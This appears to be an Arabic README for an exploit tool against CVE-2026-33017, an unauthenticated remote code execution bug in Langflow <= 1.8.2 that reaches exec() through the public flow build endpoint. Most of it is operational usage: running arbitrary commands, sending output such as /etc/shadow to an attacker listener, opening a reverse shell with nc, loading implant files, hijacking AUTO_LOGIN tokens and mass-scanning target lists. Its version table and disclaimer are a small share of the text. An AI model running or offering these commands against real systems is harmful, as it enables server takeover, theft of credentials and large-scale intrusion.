
استغلال لـ CVE-2026-33017 — تنفيذ أوامر عن بُعد بدون مصادقة في Langflow <= 1.8.2 عبر exec() في نقطة نهاية بناء التدفق
_____
/ \
| () () |
\ ^ /
|||||
exec() بدون مصادقة، بدون صندوق حماية، بدون أمل.
يسمح Langflow <= 1.8.2 بـ تنفيذ أوامر عن بُعد بدون مصادقة عبر نقطة النهاية POST /api/v1/build_public_tmp/{flow_id}/flow. يتم تمرير بيانات التدفق المقدمة من المهاجم والتي تحتوي على كود Python عشوائي في تعريفات العقد مباشرة إلى exec() بدون أي صندوق حماية.
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> تنفيذ كود عشوائي بصلاحيات عملية الخادم. انتهت اللعبة.
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# الطرفية 1: تشغيل المستمع
python3 -m http.server 8080
# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# فك ترميز base64 من سجلات المستمع:
echo "dWlkPTEwMDAo..." | base64 -d
# الطرفية 1: تشغيل المستمع
nc -l 8080
# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# تصل المخرجات الخام مباشرة في جسم طلب POST - لا حاجة لفك الترميز
# الطرفية 1: تشغيل المستمع
nc -l 4444
# الطرفية 2: إطلاق الاستغلال
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
قواعد ملف الحمولة:
exec() داخل prepare_global_scope()_x = os.popen(...).read()) لأن مرشح AST ينفذ فقط عقد Assign وFunctionDef وClassDefthreading.Thread(daemon=True) للاستدعاءات الحاجبة لتجنب قتل حلقة الأحداث غير المتزامنةعند عدم وجود تدفقات عامة (PUBLIC) مع تفعيل AUTO_LOGIN (الافتراضي في العديد من النشرات):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
يختطف هذا رمز AUTO_LOGIN، ويعدّل أول تدفق إلى PUBLIC عبر PATCH، ثم يستغله.
فحص أهداف متعددة من ملف (فحص الثغرة فقط):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
صيغة targets.txt:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# التعليقات تُتجاهل
يعرض المخرجات:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version لتحديد بصمة الهدفCustomComponent مع كود Python خبيث في حقل code/api/v1/build_public_tmp/{flow_id}/flow مع معامل data المصنوع. يجمع Langflow الرسم البياني، الذي يستدعي create_class() -> prepare_global_scope() -> exec() على كود المهاجميزيل الإصلاح في v1.9.0 معامل data بالكامل، مما يجبر نقطة النهاية على استخدام بيانات التدفق المخزنة فقط من قاعدة البيانات.
| الإصدار | الحالة |
|---|---|
| <= 1.8.1 | قابل للاستغلال |
| 1.8.2 | ادعاء الإصلاح في سجل التغييرات لكن الكود لم يتغير أبدًا (أكدت JFrog ذلك) |
| 1.9.0-dev0 إلى dev11 | لا يزال قابلًا للاستغلال |
| 1.9.0 | مُصلَح فعليًا - أُزيل معامل data من نقطة النهاية |
هذه الأداة لأبحاث الأمن المصرح بها فقط. استخدمها فقط ضد أنظمة لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.